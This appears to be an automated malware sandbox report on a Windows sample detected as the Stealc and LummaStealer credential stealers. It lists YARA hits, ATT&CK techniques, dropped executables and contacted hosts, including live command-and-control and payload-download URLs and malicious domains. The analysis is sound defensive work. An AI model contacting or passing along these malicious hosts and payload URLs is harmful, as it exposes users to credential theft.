Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 43.0.num.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.0.num.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.f324957d91.exe.a00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.num.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 43.2.num.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.f324957d91.exe.a00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000025.00000002.3075351456.00000000018BB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.3069894615.0000000000A01000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2889844017.0000000000A01000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2849204147.0000000005270000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000000.3179302627.0000000000181000.00000080.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.3021486634.0000000005430000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2891046644.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000002.3194034394.0000000000181000.00000080.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000002.3195502176.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000000.2947004348.0000000000181000.00000080.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.2976722761.0000000000EEE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.2968126684.0000000000181000.00000080.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: f324957d91.exe PID: 4408, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1002490001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	511 Disable or Modify Tools	2 OS Credential Dumping	1 Account Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	3 Obfuscated Files or Information	Security Account Manager	235 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	12 Process Injection	12 Software Packing	NTDS	871 Security Software Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 Timestomp	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	Cached Domain Credentials	371 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Bypass User Account Control	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Extra Window Memory Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Masquerading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	371 Virtualization/Sandbox Evasion	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	12 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	37%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Lipras\pdf.exe	100%	Avira	HEUR/AGEN.1314134
C:\Users\user\AppData\Local\Temp\GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	100%	Joe Sandbox ML
C:\Lipras\pdf.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002490001\num.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\Session[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Lipras\pdf.exe	59%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	37%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\Session[1].exe	5%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	45%	ReversingLabs	Win32.Trojan.Stealerc
C:\Users\user\AppData\Local\Temp\1002474001\Session.exe	5%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	37%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Temp\1002490001\num.exe	45%	ReversingLabs	Win32.Trojan.Stealerc

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	0%	URL Reputation	safe
http://crl.microsoft	0%	URL Reputation	safe
https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://json-schema.org/draft/2019-09/schema.	0%	URL Reputation	safe
https://www.leboncoin.fr/	0%	URL Reputation	safe
https://spocs.getpocket.com/spocs	0%	URL Reputation	safe
https://screenshots.firefox.com	0%	URL Reputation	safe
https://completion.amazon.com/search/complete?q=	0%	URL Reputation	safe
https://ads.stickyadstv.com/firefox-etp	0%	URL Reputation	safe
https://xhr.spec.whatwg.org/#sync-warning	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://json-schema.org/draft/2020-12/schema/=	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://ok.ru/	0%	URL Reputation	safe
https://fpn.firefox.com	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://MD8.mozilla.org/1/m	0%	URL Reputation	safe
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	0%	URL Reputation	safe
https://bugzilla.mo	0%	URL Reputation	safe
https://static.adsafeprotected.com/firefox-etp-js	0%	URL Reputation	safe
http://schemas.xmlsoap.org/wsdl/	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture	0%	URL Reputation	safe
https://spocs.getpocket.com/	0%	URL Reputation	safe
http://a9.com/-/spec/opensearch/1.0/	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe
https://www.zhihu.com/	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
http://a9.com/-/spec/opensearch/1.1/	0%	URL Reputation	safe
https://json-schema.org/draft/2019-09/schema	0%	URL Reputation	safe
http://developer.mozilla.org/en/docs/DOM:element.addEventListener	0%	URL Reputation	safe
https://duckduckgo.com/?t=ffab&q=	0%	URL Reputation	safe
https://outlook.live.com/default.aspx?rru=compose&to=%s	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://screenshots.firefox.com/	0%	URL Reputation	safe
http://json-schema.org/draft-07/schema#-	0%	URL Reputation	safe
https://poczta.interia.pl/mh/?mailto=%s	0%	URL Reputation	safe
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	URL Reputation	safe
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://json-schema.org/draft/2019-09/schema./	0%	URL Reputation	safe
https://getpocket.com/recommendations	0%	URL Reputation	safe
http://json-schema.org/draft-06/schema#	0%	URL Reputation	safe
https://www.avito.ru/	0%	URL Reputation	safe
https://spocs.getpocket.com	0%	URL Reputation	safe
https://www.ctrip.com/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	unknown
star-mini.c10r.facebook.com	157.240.0.35	true	false	unknown
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	unknown
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	unknown
twitter.com	104.244.42.65	true	false	unknown
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	unknown
github.com	140.82.121.3	true	false	unknown
raw.githubusercontent.com	185.199.111.133	true	false	unknown
seallysl.site	104.21.43.145	true	true	unknown
dyna.wikimedia.org	185.15.59.224	true	false	unknown
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false	unknown
contile.services.mozilla.com	34.117.188.166	true	false	unknown
youtube.com	142.250.185.238	true	false	unknown
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	unknown
youtube-ui.l.google.com	172.217.18.14	true	false	unknown
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false	unknown
reddit.map.fastly.net	151.101.129.140	true	false	unknown
ipv4only.arpa	192.0.0.171	true	false	unknown
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	unknown
push.services.mozilla.com	34.107.243.93	true	false	unknown
necklacedmny.store	188.114.97.3	true	true	unknown
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false	unknown
www.reddit.com	unknown	unknown	false	unknown
spocs.getpocket.com	unknown	unknown	false	unknown
content-signature-2.cdn.mozilla.net	unknown	unknown	false	unknown
presticitpo.store	unknown	unknown	true	unknown
support.mozilla.org	unknown	unknown	false	unknown
firefox.settings.services.mozilla.com	unknown	unknown	false	unknown
www.youtube.com	unknown	unknown	false	unknown
fadehairucw.store	unknown	unknown	true	unknown
www.facebook.com	unknown	unknown	false	unknown
ponintnykqwm.shop	unknown	unknown	false	unknown
detectportal.firefox.com	unknown	unknown	false	unknown
thumbystriw.store	unknown	unknown	true	unknown
shavar.services.mozilla.com	unknown	unknown	false	unknown
crisiwarny.store	unknown	unknown	true	unknown
www.wikipedia.org	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	true	unknown
fadehairucw.store	true	unknown
http://185.215.113.206/6c4adf523b719729.php	true	unknown
founpiuer.store	true	unknown
https://github.com/vonuch1/start/raw/refs/heads/main/khtoawdltrha.exe	false	unknown
presticitpo.store	true	unknown
navygenerayk.store	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2079545564.00000000059A8000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2826082954.0000000005146000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2989337398.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2981657704.0000000005B8D000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2983890011.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2079545564.00000000059A8000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2826082954.0000000005146000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2989337398.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2981657704.0000000005B8D000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2983890011.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4	firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3163455413.0000021D5A355000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.microsoft	powershell.exe, 0000000D.00000002.2810444429.0000000007B94000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl	firefox.exe, 0000001F.00000003.2995721181.0000021D62929000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	firefox.exe, 0000001F.00000002.3141634658.0000021D562AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://json-schema.org/draft/2019-09/schema.	firefox.exe, 0000001F.00000002.3134078265.0000021D4AAEA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.leboncoin.fr/	firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://spocs.getpocket.com/spocs	firefox.exe, 0000001F.00000002.3194476201.0000021D5C2FD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill	firefox.exe, 0000001F.00000002.3151586568.0000021D56C25000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://screenshots.firefox.com	firefox.exe, 0000001F.00000002.3158800052.0000021D584CE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://completion.amazon.com/search/complete?q=	firefox.exe, 0000001F.00000003.2952487746.0000021D5AD57000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2951370761.0000021D5AD1E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 0000001F.00000002.3188573044.0000021D5BD0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3186032773.0000021D5BCDD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://xhr.spec.whatwg.org/#sync-warning	firefox.exe, 0000001F.00000002.3213038233.0000021D5CD58000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001F.00000002.3151586568.0000021D56C25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2952487746.0000021D5AD57000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2951370761.0000021D5AD1E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.php/o	f324957d91.exe, 00000010.00000002.2891046644.000000000160E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://nuget.org/nuget.exe	powershell.exe, 0000000B.00000002.2846727844.000000000604F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2807610626.00000000063C0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 0000001F.00000003.2952487746.0000021D5AD57000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2951370761.0000021D5AD1E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000000B.00000002.2835914983.0000000004FF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2799753710.0000000005361000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://json-schema.org/draft/2020-12/schema/=	firefox.exe, 0000001F.00000002.3134078265.0000021D4AAEA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing	firefox.exe, 0000001F.00000002.3213038233.0000021D5CD58000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000D.00000002.2799753710.00000000054B7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000D.00000002.2799753710.00000000054B7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ok.ru/	firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/	firefox.exe, 0000001F.00000002.3200842852.0000021D5C4B6000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://fpn.firefox.com	firefox.exe, 0000001F.00000002.3150432770.0000021D56BB0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 0000000D.00000002.2807610626.00000000063C0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2079545564.00000000059A8000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2826082954.0000000005146000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2989337398.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2981657704.0000000005B8D000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2983890011.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.2108131234.0000000005A7D000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2864433763.0000000005159000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2079545564.00000000059A8000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2826082954.0000000005146000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2989337398.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2981657704.0000000005B8D000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 00000017.00000003.2983890011.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com/	firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/Pester/Pester	powershell.exe, 0000000D.00000002.2799753710.00000000054B7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://MD8.mozilla.org/1/m	firefox.exe, 0000001F.00000002.3191716971.0000021D5BF2D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3163455413.0000021D5A355000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://127.0.0.1:	firefox.exe, 0000001F.00000002.3189282496.0000021D5BE03000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bugzilla.mo	firefox.exe, 0000001F.00000002.3166689700.0000021D5AA44000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3189282496.0000021D5BEB1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://amazon.com	firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 0000001F.00000002.3188573044.0000021D5BD0F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 0000000B.00000002.2835914983.0000000005145000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2799753710.00000000054B7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	firefox.exe, 0000001F.00000002.3141634658.0000021D562AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	firefox.exe, 0000001F.00000002.3141634658.0000021D562AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000003.2223014906.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.3077401417.0000000005123000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.3077989614.000000000511F000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.3079155574.0000000005128000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.3077401417.000000000511E000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.3077887058.00000000006C5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture	firefox.exe, 0000001F.00000002.3213038233.0000021D5CD58000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://spocs.getpocket.com/	firefox.exe, 0000001F.00000002.3194476201.0000021D5C2FD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3163455413.0000021D5A355000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.iqiyi.com/	firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://a9.com/-/spec/opensearch/1.0/	firefox.exe, 0000001F.00000002.3151586568.0000021D56CE1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	firefox.exe, 0000001F.00000002.3153416946.0000021D57E0B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.rs/getrandom#nodejs-es-module-support	f324957d91.exe, 00000010.00000002.2889844017.0000000000A2C000.00000040.00000001.01000000.00000011.sdmp, f324957d91.exe, 00000010.00000003.2849204147.000000000529B000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.inbox.lv/rfc2368/?value=%su	firefox.exe, 0000001F.00000002.3153416946.0000021D57EC4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
